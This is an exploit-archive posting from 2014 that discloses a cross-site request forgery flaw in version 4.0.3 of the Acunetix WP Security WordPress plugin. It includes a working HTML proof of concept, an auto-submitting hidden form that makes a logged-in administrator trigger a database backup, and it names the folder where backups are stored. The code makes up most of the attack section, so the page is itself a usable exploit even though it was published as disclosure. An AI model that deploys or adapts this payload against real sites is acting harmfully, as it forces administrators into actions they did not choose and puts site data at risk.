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WordPress Acunetix WP Security Make Backup 4.0.3 CSRF

WordPress Acunetix WP Security Make Backup 4.0.3 CSRF
Posted Feb 14, 2014
Authored by Yashar shahinzadeh

Acunetix WordPress WP Security Make Backup plugin version 4.0.3 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
MD5 | 6df6a67086eadfcf2fc1eb89a869f679

WordPress Acunetix WP Security Make Backup 4.0.3 CSRF

Change Mirror Download
###################################################################################################################################
# Exploit Title: Wordpress Plugin - Acunetix WP Security Make Backup CSRF
# Date: 2014 11 Fabruary
# Exploit Author: Yashar shahinzadeh
# Special thanks to Mormoroth
# Credit goes for: http://y-shahinzadeh.ir & ha.cker.ir
# Vendor Homepage: http://wordpress.org/plugins/wp-security-scan/
# Tested on: Linux & Windows, PHP 5.3.2
# Affected Version : 4.0.3 (Last)
#
# Contacts: { http://Twitter.com/YShahinzadeh , http://y-shahinzadeh.ir , http://Twitter.com/Mormoroth , http://mormoroth.ir }
###################################################################################################################################

Summary:
========
1. CSRF / Get Backup
2. Further Information

1. CSRF / Get Backup:
=====================
The Acunetix WP Security Suffers from CSRF attack, getting backup of wordpress database and saving it in backup folder. Although it has a good random generator function producing
none-guessable numeric values, it still is a vulnerability which can be used against wordpress in a complex attack scenario. Here is a simple exploit:

<html>
<body onload="submitForm()">
<form name="myForm" id="myForm" action="http://localhost/wordpress-3.8/wp-admin/admin.php?page=wps_database" method="post">
<input type="hidden" name="wsd_db_backup" value="">
<input type="hidden" name="backupDatabaseButton" value="Backup+now%21">
</form>
<script type='text/javascript'>document.myForm.submit();</script>
</html>

Backup files are stored in /wp-content/plugins/wp-security-scan/res/backups/ directory. It's protected with an index, though.

2. Further Information:
=======================
Further analysis about backup function and attacking against it can be found at my blog, http://blog.y-shahinzadeh.ir

/** Yasshar Shahinzadeh **/
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